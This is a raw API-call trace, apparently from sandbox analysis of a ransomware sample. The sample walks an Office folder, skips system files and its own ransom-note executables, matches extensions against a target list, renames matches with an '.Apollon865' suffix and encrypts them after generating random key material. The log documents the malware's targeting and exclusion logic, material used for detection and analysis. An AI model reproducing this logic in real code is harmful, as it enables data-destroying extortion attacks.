	[0076.075] lstrcmpiW (lpString1=".CHM", lpString2="wmdb") returned -1
	[0076.075] lstrlenW (lpString="wrk") returned 3
	[0076.075] lstrcmpiW (lpString1="CHM", lpString2="wrk") returned -1
	[0076.075] lstrlenW (lpString="xdb") returned 3
	[0076.075] lstrcmpiW (lpString1="CHM", lpString2="xdb") returned -1
	[0076.075] lstrlenW (lpString="xld") returned 3
	[0076.075] lstrcmpiW (lpString1="CHM", lpString2="xld") returned -1
	[0076.075] lstrlenW (lpString="xmlff") returned 5
	[0076.075] lstrcmpiW (lpString1="T.CHM", lpString2="xmlff") returned -1
	[0076.075] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2=".") returned 1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="..") returned 1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="windows") returned -1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="bootmgr") returned 1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="temp") returned -1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="pagefile.sys") returned -1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="boot") returned 1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="ids.txt") returned 1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="ntuser.dat") returned 1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="perflogs") returned -1
	[0076.075] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="MSBuild") returned 1
	[0076.075] lstrlenW (lpString="OfficeMUI.XML") returned 13
	[0076.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0076.075] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="OfficeMUI.XML" | out: lpString1="OfficeMUI.XML") returned="OfficeMUI.XML"
	[0076.076] lstrlenW (lpString="OfficeMUI.XML") returned 13
	[0076.076] lstrlenW (lpString="Apollon865") returned 10
	[0076.076] lstrcmpiW (lpString1="iceMUI.XML", lpString2="Apollon865") returned 1
	[0076.076] lstrlenW (lpString=".dll") returned 4
	[0076.076] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2=".dll") returned 1
	[0076.076] lstrlenW (lpString=".lnk") returned 4
	[0076.076] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2=".lnk") returned 1
	[0076.076] lstrlenW (lpString=".ini") returned 4
	[0076.076] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2=".ini") returned 1
	[0076.076] lstrlenW (lpString=".sys") returned 4
	[0076.076] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2=".sys") returned 1
	[0076.076] lstrlenW (lpString="OfficeMUI.XML") returned 13
	[0076.076] lstrlenW (lpString="bak") returned 3
	[0076.076] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.076] lstrlenW (lpString="ba_") returned 3
	[0076.076] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.076] lstrlenW (lpString="dbb") returned 3
	[0076.076] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.076] lstrlenW (lpString="vmdk") returned 4
	[0076.076] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.076] lstrlenW (lpString="rar") returned 3
	[0076.076] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.076] lstrlenW (lpString="zip") returned 3
	[0076.076] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.076] lstrlenW (lpString="tgz") returned 3
	[0076.076] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.076] lstrlenW (lpString="vbox") returned 4
	[0076.076] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.076] lstrlenW (lpString="vdi") returned 3
	[0076.076] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.076] lstrlenW (lpString="vhd") returned 3
	[0076.076] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.076] lstrlenW (lpString="vhdx") returned 4
	[0076.076] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.076] lstrlenW (lpString="avhd") returned 4
	[0076.076] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.076] lstrlenW (lpString="db") returned 2
	[0076.076] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.077] lstrlenW (lpString="db2") returned 3
	[0076.077] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.077] lstrlenW (lpString="db3") returned 3
	[0076.077] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.077] lstrlenW (lpString="dbf") returned 3
	[0076.077] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.077] lstrlenW (lpString="mdf") returned 3
	[0076.077] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.077] lstrlenW (lpString="mdb") returned 3
	[0076.077] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.077] lstrlenW (lpString="sql") returned 3
	[0076.077] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.077] lstrlenW (lpString="sqlite") returned 6
	[0076.077] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0076.077] lstrlenW (lpString="sqlite3") returned 7
	[0076.077] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0076.077] lstrlenW (lpString="sqlitedb") returned 8
	[0076.077] lstrcmpiW (lpString1="eMUI.XML", lpString2="sqlitedb") returned -1
	[0076.077] lstrlenW (lpString="xml") returned 3
	[0076.077] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.077] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.Apollon865") returned 117
	[0076.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0076.078] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5557) returned 1
	[0076.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.079] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.080] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.080] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.080] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18c0, lpName=0x0) returned 0x118
	[0076.081] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18c0) returned 0x100000
	[0076.082] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.083] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.083] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0076.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0076.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.083] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.083] CloseHandle (hObject=0x118) returned 1
	[0076.083] CloseHandle (hObject=0x15c) returned 1
	[0076.084] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.084] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.084] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.084] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2=".") returned 1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="..") returned 1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="windows") returned -1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="bootmgr") returned 1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="temp") returned -1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="pagefile.sys") returned -1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="boot") returned 1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="ids.txt") returned 1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="ntuser.dat") returned 1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="perflogs") returned -1
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="MSBuild") returned 1
	[0076.084] lstrlenW (lpString="OfficeMUISet.XML") returned 16
	[0076.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0076.084] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="OfficeMUISet.XML" | out: lpString1="OfficeMUISet.XML") returned="OfficeMUISet.XML"
	[0076.084] lstrlenW (lpString="OfficeMUISet.XML") returned 16
	[0076.084] lstrlenW (lpString="Apollon865") returned 10
	[0076.084] lstrcmpiW (lpString1="MUISet.XML", lpString2="Apollon865") returned 1
	[0076.084] lstrlenW (lpString=".dll") returned 4
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2=".dll") returned 1
	[0076.084] lstrlenW (lpString=".lnk") returned 4
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2=".lnk") returned 1
	[0076.084] lstrlenW (lpString=".ini") returned 4
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2=".ini") returned 1
	[0076.084] lstrlenW (lpString=".sys") returned 4
	[0076.084] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2=".sys") returned 1
	[0076.085] lstrlenW (lpString="OfficeMUISet.XML") returned 16
	[0076.085] lstrlenW (lpString="bak") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.085] lstrlenW (lpString="ba_") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.085] lstrlenW (lpString="dbb") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.085] lstrlenW (lpString="vmdk") returned 4
	[0076.085] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.085] lstrlenW (lpString="rar") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.085] lstrlenW (lpString="zip") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.085] lstrlenW (lpString="tgz") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.085] lstrlenW (lpString="vbox") returned 4
	[0076.085] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.085] lstrlenW (lpString="vdi") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.085] lstrlenW (lpString="vhd") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.085] lstrlenW (lpString="vhdx") returned 4
	[0076.085] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.085] lstrlenW (lpString="avhd") returned 4
	[0076.085] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.085] lstrlenW (lpString="db") returned 2
	[0076.085] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.085] lstrlenW (lpString="db2") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.085] lstrlenW (lpString="db3") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.085] lstrlenW (lpString="dbf") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.085] lstrlenW (lpString="mdf") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.085] lstrlenW (lpString="mdb") returned 3
	[0076.085] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.086] lstrlenW (lpString="sql") returned 3
	[0076.086] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.086] lstrlenW (lpString="sqlite") returned 6
	[0076.086] lstrcmpiW (lpString1="et.XML", lpString2="sqlite") returned -1
	[0076.086] lstrlenW (lpString="sqlite3") returned 7
	[0076.086] lstrcmpiW (lpString1="Set.XML", lpString2="sqlite3") returned -1
	[0076.086] lstrlenW (lpString="sqlitedb") returned 8
	[0076.086] lstrcmpiW (lpString1="ISet.XML", lpString2="sqlitedb") returned -1
	[0076.086] lstrlenW (lpString="xml") returned 3
	[0076.086] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.086] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.Apollon865") returned 120
	[0076.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0076.087] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=819) returned 1
	[0076.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.087] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.088] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.088] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.088] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x118
	[0076.089] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000
	[0076.090] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.091] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.091] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.091] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.091] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0076.091] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.091] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0076.091] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.091] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.091] CloseHandle (hObject=0x118) returned 1
	[0076.091] CloseHandle (hObject=0x15c) returned 1
	[0076.091] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.091] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.091] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.092] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2=".") returned 1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="..") returned 1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="windows") returned -1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="bootmgr") returned 1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="temp") returned -1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="pagefile.sys") returned -1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="boot") returned 1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="ids.txt") returned 1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="ntuser.dat") returned 1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="perflogs") returned -1
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="MSBuild") returned 1
	[0076.092] lstrlenW (lpString="OSETUPUI.DLL") returned 12
	[0076.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0076.092] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="OSETUPUI.DLL" | out: lpString1="OSETUPUI.DLL") returned="OSETUPUI.DLL"
	[0076.092] lstrlenW (lpString="OSETUPUI.DLL") returned 12
	[0076.092] lstrlenW (lpString="Apollon865") returned 10
	[0076.092] lstrcmpiW (lpString1="ETUPUI.DLL", lpString2="Apollon865") returned 1
	[0076.092] lstrlenW (lpString=".dll") returned 4
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2=".dll") returned 1
	[0076.092] lstrlenW (lpString=".lnk") returned 4
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2=".lnk") returned 1
	[0076.092] lstrlenW (lpString=".ini") returned 4
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2=".ini") returned 1
	[0076.092] lstrlenW (lpString=".sys") returned 4
	[0076.092] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2=".sys") returned 1
	[0076.092] lstrlenW (lpString="OSETUPUI.DLL") returned 12
	[0076.092] lstrlenW (lpString="bak") returned 3
	[0076.092] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1
	[0076.092] lstrlenW (lpString="ba_") returned 3
	[0076.092] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1
	[0076.093] lstrlenW (lpString="dbb") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1
	[0076.093] lstrlenW (lpString="vmdk") returned 4
	[0076.093] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1
	[0076.093] lstrlenW (lpString="rar") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1
	[0076.093] lstrlenW (lpString="zip") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1
	[0076.093] lstrlenW (lpString="tgz") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1
	[0076.093] lstrlenW (lpString="vbox") returned 4
	[0076.093] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1
	[0076.093] lstrlenW (lpString="vdi") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1
	[0076.093] lstrlenW (lpString="vhd") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1
	[0076.093] lstrlenW (lpString="vhdx") returned 4
	[0076.093] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1
	[0076.093] lstrlenW (lpString="avhd") returned 4
	[0076.093] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1
	[0076.093] lstrlenW (lpString="db") returned 2
	[0076.093] lstrcmpiW (lpString1="LL", lpString2="db") returned 1
	[0076.093] lstrlenW (lpString="db2") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1
	[0076.093] lstrlenW (lpString="db3") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1
	[0076.093] lstrlenW (lpString="dbf") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1
	[0076.093] lstrlenW (lpString="mdf") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1
	[0076.093] lstrlenW (lpString="mdb") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1
	[0076.093] lstrlenW (lpString="sql") returned 3
	[0076.093] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1
	[0076.093] lstrlenW (lpString="sqlite") returned 6
	[0076.093] lstrcmpiW (lpString1="UI.DLL", lpString2="sqlite") returned 1
	[0076.093] lstrlenW (lpString="sqlite3") returned 7
	[0076.094] lstrcmpiW (lpString1="PUI.DLL", lpString2="sqlite3") returned -1
	[0076.094] lstrlenW (lpString="sqlitedb") returned 8
	[0076.094] lstrcmpiW (lpString1="UPUI.DLL", lpString2="sqlitedb") returned 1
	[0076.094] lstrlenW (lpString="xml") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1
	[0076.094] lstrlenW (lpString="$er") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1
	[0076.094] lstrlenW (lpString="4dd") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1
	[0076.094] lstrlenW (lpString="4dl") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1
	[0076.094] lstrlenW (lpString="^^^") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1
	[0076.094] lstrlenW (lpString="abs") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1
	[0076.094] lstrlenW (lpString="abx") returned 3
	[0076.094] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1
	[0076.094] lstrlenW (lpString="accdb") returned 5
